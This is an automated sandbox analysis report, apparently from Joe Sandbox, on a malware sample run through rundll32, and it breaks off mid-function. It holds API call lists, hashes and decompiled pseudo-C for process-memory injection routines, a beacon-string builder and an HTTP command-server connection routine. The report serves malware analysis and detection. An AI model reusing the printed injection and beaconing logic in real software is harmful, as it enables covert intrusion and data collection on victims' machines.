                                            • Instruction Fuzzy Hash: 92210BB2D00209AFDB11DFE9C8849EEFBBAFB48354F10452AE555F3250D731AA448B64
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE44A5 Relevance: 4.7, APIs: 3, Instructions: 168librarynativeloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetProcAddress.KERNEL32(?,00000318), ref: 05DE44CA
                                            • NtWow64QueryInformationProcess64.NTDLL(00000000,00000000,?,00000030,00000000), ref: 05DE44E6
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                              • Part of subcall function 05DD1C78: GetProcAddress.KERNEL32(?), ref: 05DD1CA1
                                              • Part of subcall function 05DD1C78: NtWow64ReadVirtualMemory64.NTDLL(?,?,?,?,?,00000000,?), ref: 05DD1CC3
                                            • StrRChrA.SHLWAPI(00000018,00000000,0000005C,00000100,00000200), ref: 05DE4650
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AddressProcWow64$AllocateHeapInformationMemory64Process64QueryReadVirtual
                                            • String ID:
                                            • API String ID: 3547194813-0
                                            • Opcode ID: 5deb2f86714cd20acaac805806cdd2adfaecb3d3cd40ed389b64e5daad2e92b0
                                            • Instruction ID: bb2598a1b427862592a62f1e19c883f2a069d4618884aee5cdd1f3f44d8da921
                                            • Opcode Fuzzy Hash: 5deb2f86714cd20acaac805806cdd2adfaecb3d3cd40ed389b64e5daad2e92b0
                                            • Instruction Fuzzy Hash: B1614171A0460AAFDF15DF98C880BEEBBB5FF09304F10416AE909E7251DB70E950CBA4
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEF5FF Relevance: 4.6, APIs: 3, Instructions: 56librarynativeloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            • memset.NTDLL ref: 05DEF613
                                            • GetProcAddress.KERNEL32(?), ref: 05DEF63B
                                            • NtWow64QueryInformationProcess64.NTDLL(?,00000000,?,00000030,00000000,?,00001000,00000000), ref: 05DEF659
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AddressInformationProcProcess64QueryWow64memset
                                            • String ID:
                                            • API String ID: 2968673968-0
                                            • Opcode ID: 17b25e3f213f46a74241d49c1bc20ac53b3bcfb616feb48ae8836883010483de
                                            • Instruction ID: a28940362a8653e5c65ab43b182a3fd33cfa5d1932e31d5f43a3e43fd02f0d1b
                                            • Opcode Fuzzy Hash: 17b25e3f213f46a74241d49c1bc20ac53b3bcfb616feb48ae8836883010483de
                                            • Instruction Fuzzy Hash: 26115131A15219AFEB10DF98DC19F997BA9EB45700F05402AF904AB390DB70D905CB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEAD9E Relevance: 4.5, APIs: 3, Instructions: 29memorynativeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • NtAllocateVirtualMemory.NTDLL(05DD7A68,00000000,00000000,05DD7A68,00003000,00000040), ref: 05DEADCF
                                            • RtlNtStatusToDosError.NTDLL(00000000), ref: 05DEADD6
                                            • SetLastError.KERNEL32(00000000), ref: 05DEADDD
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Error$AllocateLastMemoryStatusVirtual
                                            • String ID:
                                            • API String ID: 722216270-0
                                            • Opcode ID: ea3d1776610bbc69d89131a8767dfe7a0ffb3a83f284aa5bb3b48a3940c93d3b
                                            • Instruction ID: 8fb9e1f85236afd1943bb8b04c485ff28b327a389a40807fc2a01f7f3a3b929f
                                            • Opcode Fuzzy Hash: ea3d1776610bbc69d89131a8767dfe7a0ffb3a83f284aa5bb3b48a3940c93d3b
                                            • Instruction Fuzzy Hash: 26F05471921309FBEF05CBD4C80AFAE7ABCEB04315F104045B600E6180EBB4DB04D764
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEB628 Relevance: 4.5, APIs: 3, Instructions: 26nativeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • NtWriteVirtualMemory.NTDLL(00000318,00000000,00000000,00001003,05DD7B0A,00000000,?,05DD7B0A,00001003,00000000,00000000,00000318,00000020,?,00010003,00001003), ref: 05DEB646
                                            • RtlNtStatusToDosError.NTDLL(C0000002), ref: 05DEB655
                                            • SetLastError.KERNEL32(00000000,?,05DD7B0A,00001003,00000000,00000000,00000318,00000020,?,00010003,00001003,?,00000318,00000008), ref: 05DEB65C
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Error$LastMemoryStatusVirtualWrite
                                            • String ID:
                                            • API String ID: 1089604434-0
                                            • Opcode ID: 9908f6e99577fec22f115b476ba0910e77bd3d9fb14c9ec45ec77355680df728
                                            • Instruction ID: 050d7a9f29c94f8a71c37a88ac89f7ac6cf13367cb358846e08d95a6f5858ef8
                                            • Opcode Fuzzy Hash: 9908f6e99577fec22f115b476ba0910e77bd3d9fb14c9ec45ec77355680df728
                                            • Instruction Fuzzy Hash: 66E04F3220121AABDF016FEC9C05D8B7F69FB09741B008027BE81C6221CB31E921ABE0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB25D7 Relevance: 3.1, APIs: 2, Instructions: 70nativeCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 72%
                                            			E04AB25D7(intOrPtr* __eax, void** _a4) {
				int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				int _v40;
				int _v44;
				void* _v48;
				void* __esi;
				long _t34;
				void* _t39;
				void* _t47;
				intOrPtr* _t48;

				_t48 = __eax;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 =  *((intOrPtr*)(__eax + 4));
				_v16 = 0;
				_v12 = 0;
				_v48 = 0x18;
				_v44 = 0;
				_v36 = 0x40;
				_v40 = 0;
				_v32 = 0;
				_v28 = 0;
				_t34 = NtCreateSection( &_v16, 0xf001f,  &_v48,  &_v24,  *(__eax + 8), 0x8000000, 0);
				if(_t34 < 0) {
					_t47 =  *((intOrPtr*)(_t48 + 0x18))(_t34);
				} else {
					 *_t48 = _v16;
					_t39 = E04AB3A9C(_t48,  &_v12); // executed
					_t47 = _t39;
					if(_t47 != 0) {
						 *((intOrPtr*)(_t48 + 0x1c))(_v16);
					} else {
						memset(_v12, 0, _v24);
						 *_a4 = _v12;
					}
				}
				return _t47;
			}


















                                            0x04ab25e0
                                            0x04ab25e7
                                            0x04ab25e8
                                            0x04ab25e9
                                            0x04ab25ea
                                            0x04ab25eb
                                            0x04ab25fc
                                            0x04ab2600
                                            0x04ab2614
                                            0x04ab2617
                                            0x04ab261a
                                            0x04ab2621
                                            0x04ab2624
                                            0x04ab262b
                                            0x04ab262e
                                            0x04ab2631
                                            0x04ab2634
                                            0x04ab2639
                                            0x04ab2674
                                            0x04ab263b
                                            0x04ab263e
                                            0x04ab2644
                                            0x04ab2649
                                            0x04ab264d
                                            0x04ab266b
                                            0x04ab264f
                                            0x04ab2656
                                            0x04ab2664
                                            0x04ab2664
                                            0x04ab264d
                                            0x04ab267c

                                            APIs
                                            • NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,76EC4EE0,00000000,00000000,04AB759F), ref: 04AB2634
                                              • Part of subcall function 04AB3A9C: NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,04AB2649,00000002,00000000,?,?,00000000,?,?,04AB2649,00000000), ref: 04AB3AC9
                                            • memset.NTDLL ref: 04AB2656
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: Section$CreateViewmemset
                                            • String ID:
                                            • API String ID: 2533685722-0
                                            • Opcode ID: d9d64a364fb024a8bbd88631a5c423510446b5b41a7fba1de82a375655f3b97f
                                            • Instruction ID: bc0079ded0e403786b7c813e72a348395f29ac1b43ca953ec21ff9946ed00e7e
                                            • Opcode Fuzzy Hash: d9d64a364fb024a8bbd88631a5c423510446b5b41a7fba1de82a375655f3b97f
                                            • Instruction Fuzzy Hash: EF211DB6D00209AFDB11DFA9C8849DEFBB9FF48354F10846AE545F3211D731AA448BA4
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD1C78 Relevance: 3.0, APIs: 2, Instructions: 35librarynativeloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetProcAddress.KERNEL32(?), ref: 05DD1CA1
                                            • NtWow64ReadVirtualMemory64.NTDLL(?,?,?,?,?,00000000,?), ref: 05DD1CC3
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AddressMemory64ProcReadVirtualWow64
                                            • String ID:
                                            • API String ID: 752694512-0
                                            • Opcode ID: a29881f49297e3f4b1b54366acaa8b4bb05581e5c29d7735a9f66d7c06c981ba
                                            • Instruction ID: adc954e2a60617989cd46b37a9329a869a84dca42fdcf7f22c121c586a1ab9cd
                                            • Opcode Fuzzy Hash: a29881f49297e3f4b1b54366acaa8b4bb05581e5c29d7735a9f66d7c06c981ba
                                            • Instruction Fuzzy Hash: C5F04975910109AFCB058F89EC45C9EFFBAFB98210710416BF900C2320DA31A950DB20
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD94A5 Relevance: 1.5, APIs: 1, Instructions: 34nativeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • NtMapViewOfSection.NTDLL(00000000,000000FF,05DDDE51,00000000,00000000,05DDDE51,00000000,00000002,00000000,?,?,00000000,05DDDE51,000000FF,00000000), ref: 05DD94D3
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: SectionView
                                            • String ID:
                                            • API String ID: 1323581903-0
                                            • Opcode ID: 2cd136b18fd47c29f94374b8f148c9a9c123cd50275110905b50dafc155aad11
                                            • Instruction ID: a5deb080c79b795a2d833c351a95e53045f3c85893d9d5027a6e16b3334b03a9
                                            • Opcode Fuzzy Hash: 2cd136b18fd47c29f94374b8f148c9a9c123cd50275110905b50dafc155aad11
                                            • Instruction Fuzzy Hash: 51F01CB690020CFFEB119FA5CC85CAFBBBDEB48384B10883AF542E1051D2319E189B60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB3A9C Relevance: 1.5, APIs: 1, Instructions: 34nativeCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 68%
                                            			E04AB3A9C(void** __esi, PVOID* _a4) {
				long _v8;
				void* _v12;
				void* _v16;
				long _t13;

				_v16 = 0;
				asm("stosd");
				_v8 = 0;
				_t13 = NtMapViewOfSection( *__esi, 0xffffffff, _a4, 0, 0,  &_v16,  &_v8, 2, 0, __esi[2]);
				if(_t13 < 0) {
					_push(_t13);
					return __esi[6]();
				}
				return 0;
			}







                                            0x04ab3aae
                                            0x04ab3ab4
                                            0x04ab3ac2
                                            0x04ab3ac9
                                            0x04ab3ace
                                            0x04ab3ad4
                                            0x00000000
                                            0x04ab3ad5
                                            0x00000000

                                            APIs
                                            • NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,04AB2649,00000002,00000000,?,?,00000000,?,?,04AB2649,00000000), ref: 04AB3AC9
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: SectionView
                                            • String ID:
                                            • API String ID: 1323581903-0
                                            • Opcode ID: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
                                            • Instruction ID: 69bed01bff8e6d753166a1a51cc20768c9afc5620fffcf5f3e61f5a9e4766d95
                                            • Opcode Fuzzy Hash: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
                                            • Instruction Fuzzy Hash: 40F030B6A0420CFFEB119FA5CC85CEFBBBDEB44395B104939F552E1091D631AE189B60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE5D9D Relevance: 1.5, APIs: 1, Instructions: 33nativeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • NtQueryInformationProcess.NTDLL(00000000,?,00000018,00000000,05DF9420), ref: 05DE5DB4
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: InformationProcessQuery
                                            • String ID:
                                            • API String ID: 1778838933-0
                                            • Opcode ID: 5ddb28df4ad068da2a05a4550ac07379373f2295c2b13aed750567a0c8a1f018
                                            • Instruction ID: 137b9446d349df788327943ac51614a6378e871d02084e619eb3d724d7b7da5a
                                            • Opcode Fuzzy Hash: 5ddb28df4ad068da2a05a4550ac07379373f2295c2b13aed750567a0c8a1f018
                                            • Instruction Fuzzy Hash: 7AF05E317001159BCB20EE59DC89EAFBBA9FB057987114126E905DB361DB30E905CBE0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB636D Relevance: 44.0, APIs: 24, Strings: 1, Instructions: 214memorystringCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            C-Code - Quality: 68%
                                            			E04AB636D(long __eax, void* __edx, intOrPtr _a4, intOrPtr _a12, void* _a16, void* _a20, intOrPtr _a24) {
				intOrPtr _v0;
				intOrPtr _v4;
				void* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v52;
				void* __ecx;
				void* __edi;
				long _t29;
				intOrPtr _t30;
				intOrPtr _t31;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr _t34;
				void* _t37;
				intOrPtr _t38;
				int _t41;
				void* _t42;
				intOrPtr _t46;
				intOrPtr _t47;
				intOrPtr _t54;
				intOrPtr _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr _t66;
				intOrPtr _t72;
				intOrPtr _t75;
				intOrPtr _t78;
				int _t81;
				intOrPtr _t82;
				int _t85;
				intOrPtr _t87;
				int _t90;
				intOrPtr _t92;
				int _t95;
				intOrPtr* _t97;
				intOrPtr* _t98;
				void* _t99;
				void* _t103;
				void* _t104;
				void* _t105;
				intOrPtr _t106;
				void* _t108;
				int _t109;
				void* _t110;
				void* _t111;
				void* _t113;
				void* _t114;
				void* _t116;

				_t103 = __edx;
				_t29 = __eax;
				_t113 = _a20;
				_v4 = 8;
				if(__eax == 0) {
					_t29 = GetTickCount();
				}
				_t30 =  *0x4aba018; // 0x639b57ef
				asm("bswap eax");
				_t31 =  *0x4aba014; // 0x3a87c8cd
				asm("bswap eax");
				_t32 =  *0x4aba010; // 0xd8d2f808
				asm("bswap eax");
				_t33 =  *0x4aba00c; // 0x13d015ef
				asm("bswap eax");
				_t34 =  *0x4aba348; // 0xb6d5a8
				_t3 = _t34 + 0x4abb633; // 0x74666f73
				_t109 = wsprintfA(_t113, _t3, 2, 0x3d173, _t33, _t32, _t31, _t30,  *0x4aba02c,  *0x4aba004, _t29);
				_t37 = E04AB3F1E();
				_t38 =  *0x4aba348; // 0xb6d5a8
				_t4 = _t38 + 0x4abb673; // 0x74707526
				_t41 = wsprintfA(_t109 + _t113, _t4, _t37);
				_t116 = _t114 + 0x38;
				_t110 = _t109 + _t41;
				if(_a24 != 0) {
					_t92 =  *0x4aba348; // 0xb6d5a8
					_t8 = _t92 + 0x4abb67e; // 0x732526
					_t95 = wsprintfA(_t110 + _t113, _t8, _a24);
					_t116 = _t116 + 0xc;
					_t110 = _t110 + _t95; // executed
				}
				_t42 = E04AB1567(_t99); // executed
				_t104 = _t42;
				if(_t104 != 0) {
					_t87 =  *0x4aba348; // 0xb6d5a8
					_t10 = _t87 + 0x4abb8d4; // 0x736e6426
					_t90 = wsprintfA(_t110 + _t113, _t10, _t104);
					_t116 = _t116 + 0xc;
					_t110 = _t110 + _t90;
					HeapFree( *0x4aba2d8, 0, _t104);
				}
				_t105 = E04AB3268();
				if(_t105 != 0) {
					_t82 =  *0x4aba348; // 0xb6d5a8
					_t12 = _t82 + 0x4abb8dc; // 0x6f687726
					_t85 = wsprintfA(_t110 + _t113, _t12, _t105);
					_t116 = _t116 + 0xc;
					_t110 = _t110 + _t85;
					HeapFree( *0x4aba2d8, 0, _t105);
				}
				_t106 =  *0x4aba3cc; // 0x56295b0
				_a24 = E04AB5D1C(0x4aba00a, _t106 + 4);
				_t46 =  *0x4aba370; // 0x0
				if(_t46 != 0) {
					_t78 =  *0x4aba348; // 0xb6d5a8
					_t15 = _t78 + 0x4abb8b6; // 0x3d736f26
					_t81 = wsprintfA(_t110 + _t113, _t15, _t46);
					_t116 = _t116 + 0xc;
					_t110 = _t110 + _t81;
				}
				_t47 =  *0x4aba36c; // 0x0
				if(_t47 != 0) {
					_t75 =  *0x4aba348; // 0xb6d5a8
					_t17 = _t75 + 0x4abb88d; // 0x3d706926
					wsprintfA(_t110 + _t113, _t17, _t47);
				}
				if(_a24 != 0) {
					_t108 = RtlAllocateHeap( *0x4aba2d8, 0, 0x800);
					if(_t108 != 0) {
						E04AB3950(GetTickCount());
						_t54 =  *0x4aba3cc; // 0x56295b0
						__imp__(_t54 + 0x40);
						asm("lock xadd [eax], ecx");
						_t58 =  *0x4aba3cc; // 0x56295b0
						__imp__(_t58 + 0x40);
						_t60 =  *0x4aba3cc; // 0x56295b0
						_t61 = E04AB3739(1, _t103, _t113,  *_t60); // executed
						_t111 = _t61;
						asm("lock xadd [eax], ecx");
						if(_t111 != 0) {
							StrTrimA(_t111, 0x4ab928c);
							_push(_t111);
							_t66 = E04AB3970();
							_a12 = _t66;
							if(_t66 != 0) {
								_t97 = __imp__;
								 *_t97(_t111, _v0);
								 *_t97(_t108, _v4);
								_t98 = __imp__;
								 *_t98(_t108, _v0);
								 *_t98(_t108, _t111);
								_t72 = E04AB5347(0xffffffffffffffff, _t108, _v24, _v20); // executed
								_v52 = _t72;
								if(_t72 != 0 && _t72 != 0x10d2) {
									E04AB3F62();
								}
								HeapFree( *0x4aba2d8, 0, _v16);
							}
							HeapFree( *0x4aba2d8, 0, _t111);
						}
						RtlFreeHeap( *0x4aba2d8, 0, _t108); // executed
					}
					HeapFree( *0x4aba2d8, 0, _a16);
				}
				RtlFreeHeap( *0x4aba2d8, 0, _t113); // executed
				return _a4;
			}




















































                                            0x04ab636d
                                            0x04ab636d
                                            0x04ab6371
                                            0x04ab6377
                                            0x04ab6381
                                            0x04ab6383
                                            0x04ab6383
                                            0x04ab6390
                                            0x04ab639b
                                            0x04ab639e
                                            0x04ab63a9
                                            0x04ab63ac
                                            0x04ab63b1
                                            0x04ab63b4
                                            0x04ab63b9
                                            0x04ab63bc
                                            0x04ab63c8
                                            0x04ab63d5
                                            0x04ab63d7
                                            0x04ab63dd
                                            0x04ab63e2
                                            0x04ab63ed
                                            0x04ab63ef
                                            0x04ab63f2
                                            0x04ab63f9
                                            0x04ab63fb
                                            0x04ab6404
                                            0x04ab640f
                                            0x04ab6411
                                            0x04ab6414
                                            0x04ab6414
                                            0x04ab6416
                                            0x04ab641b
                                            0x04ab641f
                                            0x04ab6421
                                            0x04ab6426
                                            0x04ab6432
                                            0x04ab6434
                                            0x04ab6440
                                            0x04ab6442
                                            0x04ab6442
                                            0x04ab644d
                                            0x04ab6451
                                            0x04ab6453
                                            0x04ab6458
                                            0x04ab6464
                                            0x04ab6466
                                            0x04ab6472
                                            0x04ab6474
                                            0x04ab6474
                                            0x04ab647a
                                            0x04ab648d
                                            0x04ab6491
                                            0x04ab6498
                                            0x04ab649b
                                            0x04ab64a0
                                            0x04ab64ab
                                            0x04ab64ad
                                            0x04ab64b0
                                            0x04ab64b0
                                            0x04ab64b2
                                            0x04ab64b9
                                            0x04ab64bc
                                            0x04ab64c1
                                            0x04ab64cb
                                            0x04ab64cd
                                            0x04ab64d5
                                            0x04ab64ee
                                            0x04ab64f2
                                            0x04ab64fe
                                            0x04ab6503
                                            0x04ab650c
                                            0x04ab651d
                                            0x04ab6521
                                            0x04ab652a
                                            0x04ab6530
                                            0x04ab6538
                                            0x04ab653d
                                            0x04ab654a
                                            0x04ab6550
                                            0x04ab655c
                                            0x04ab6562
                                            0x04ab6563
                                            0x04ab6568
                                            0x04ab656e
                                            0x04ab6574
                                            0x04ab657b
                                            0x04ab6582
                                            0x04ab6588
                                            0x04ab658f
                                            0x04ab6593
                                            0x04ab659e
                                            0x04ab65a3
                                            0x04ab65a9
                                            0x04ab65b2
                                            0x04ab65b2
                                            0x04ab65c3
                                            0x04ab65c3
                                            0x04ab65d2
                                            0x04ab65d2
                                            0x04ab65e1
                                            0x04ab65e1
                                            0x04ab65f3
                                            0x04ab65f3
                                            0x04ab6602
                                            0x04ab6612

                                            APIs
                                            • GetTickCount.KERNEL32 ref: 04AB6383
                                            • wsprintfA.USER32 ref: 04AB63D0
                                            • wsprintfA.USER32 ref: 04AB63ED
                                            • wsprintfA.USER32 ref: 04AB640F
                                            • wsprintfA.USER32 ref: 04AB6432
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 04AB6442
                                            • wsprintfA.USER32 ref: 04AB6464
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 04AB6474
                                            • wsprintfA.USER32 ref: 04AB64AB
                                            • wsprintfA.USER32 ref: 04AB64CB
                                            • RtlAllocateHeap.NTDLL(00000000,00000800), ref: 04AB64E8
                                            • GetTickCount.KERNEL32 ref: 04AB64F8
                                            • RtlEnterCriticalSection.NTDLL(05629570), ref: 04AB650C
                                            • RtlLeaveCriticalSection.NTDLL(05629570), ref: 04AB652A
                                              • Part of subcall function 04AB3739: lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,742CC740,?,?,04AB653D,?,056295B0), ref: 04AB3764
                                              • Part of subcall function 04AB3739: lstrlen.KERNEL32(?,?,?,04AB653D,?,056295B0), ref: 04AB376C
                                              • Part of subcall function 04AB3739: strcpy.NTDLL ref: 04AB3783
                                              • Part of subcall function 04AB3739: lstrcat.KERNEL32(00000000,?), ref: 04AB378E
                                              • Part of subcall function 04AB3739: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,04AB653D,?,056295B0), ref: 04AB37AB
                                            • StrTrimA.SHLWAPI(00000000,04AB928C,?,056295B0), ref: 04AB655C
                                              • Part of subcall function 04AB3970: lstrlen.KERNEL32(05629B90,00000000,00000000,742CC740,04AB6568,00000000), ref: 04AB3980
                                              • Part of subcall function 04AB3970: lstrlen.KERNEL32(?), ref: 04AB3988
                                              • Part of subcall function 04AB3970: lstrcpy.KERNEL32(00000000,05629B90), ref: 04AB399C
                                              • Part of subcall function 04AB3970: lstrcat.KERNEL32(00000000,?), ref: 04AB39A7
                                            • lstrcpy.KERNEL32(00000000,?), ref: 04AB657B
                                            • lstrcpy.KERNEL32(00000000,00000000), ref: 04AB6582
                                            • lstrcat.KERNEL32(00000000,?), ref: 04AB658F
                                            • lstrcat.KERNEL32(00000000,00000000), ref: 04AB6593
                                              • Part of subcall function 04AB5347: WaitForSingleObject.KERNEL32(00000000,00000000,00000000,76F081D0), ref: 04AB53F9
                                            • HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 04AB65C3
                                            • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 04AB65D2
                                            • RtlFreeHeap.NTDLL(00000000,00000000,?,056295B0), ref: 04AB65E1
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 04AB65F3
                                            • RtlFreeHeap.NTDLL(00000000,?), ref: 04AB6602
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: Heap$Freewsprintf$lstrcatlstrlen$lstrcpy$CountCriticalSectionTickTrim$AllocateEnterLeaveObjectSingleWaitstrcpy
                                            • String ID: Uv
                                            • API String ID: 1892477351-4002285713
                                            • Opcode ID: a5b86bb15c59ee6b1b3ec5a63172b0f47317b7f654396e3397d8db19ad819847
                                            • Instruction ID: 5449fa1351104a79f02cca1fecb56b7fc8fe1107754242a28cf43f0a7df0a038
                                            • Opcode Fuzzy Hash: a5b86bb15c59ee6b1b3ec5a63172b0f47317b7f654396e3397d8db19ad819847
                                            • Instruction Fuzzy Hash: 77716BB1500705AFE7119BA8EC48E9A37ECEB58704F040114FA89D7273DB39ED16ABE5
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB7A71 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 126networkstringCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            C-Code - Quality: 92%
                                            			E04AB7A71(void* __eax, void* __ecx, long __esi, char* _a4) {
				void _v8;
				long _v12;
				void _v16;
				void* _t34;
				void* _t38;
				void* _t40;
				char* _t56;
				long _t57;
				void* _t58;
				intOrPtr _t59;
				long _t65;

				_t65 = __esi;
				_t58 = __ecx;
				_v16 = 0xea60;
				__imp__( *(__esi + 4));
				_v12 = __eax + __eax;
				_t56 = E04AB4DF6(__eax + __eax + 1);
				if(_t56 != 0) {
					if(InternetCanonicalizeUrlA( *(__esi + 4), _t56,  &_v12, 0) == 0) {
						E04AB4C73(_t56);
					} else {
						E04AB4C73( *(__esi + 4));
						 *(__esi + 4) = _t56;
					}
				}
				_t34 = InternetOpenA(_a4, 0, 0, 0, 0x10000000); // executed
				 *(_t65 + 0x10) = _t34;
				if(_t34 == 0 || InternetSetStatusCallback(_t34, E04AB7A06) == 0xffffffff) {
					L15:
					return GetLastError();
				} else {
					ResetEvent( *(_t65 + 0x1c));
					_t38 = InternetConnectA( *(_t65 + 0x10),  *_t65, 0x50, 0, 0, 3, 0, _t65); // executed
					 *(_t65 + 0x14) = _t38;
					if(_t38 != 0 || GetLastError() == 0x3e5 && E04AB3A6F( *(_t65 + 0x1c), _t58, 0xea60) == 0) {
						_t59 =  *0x4aba348; // 0xb6d5a8
						_t15 = _t59 + 0x4abb743; // 0x544547
						_v8 = 0x84404000;
						_t40 = HttpOpenRequestA( *(_t65 + 0x14), _t15,  *(_t65 + 4), 0, 0, 0, 0x84404000, _t65); // executed
						 *(_t65 + 0x18) = _t40;
						if(_t40 == 0) {
							goto L15;
						}
						_t57 = 4;
						_v12 = _t57;
						if(InternetQueryOptionA(_t40, 0x1f,  &_v8,  &_v12) != 0) {
							_v8 = _v8 | 0x00000100;
							InternetSetOptionA( *(_t65 + 0x18), 0x1f,  &_v8, _t57);
						}
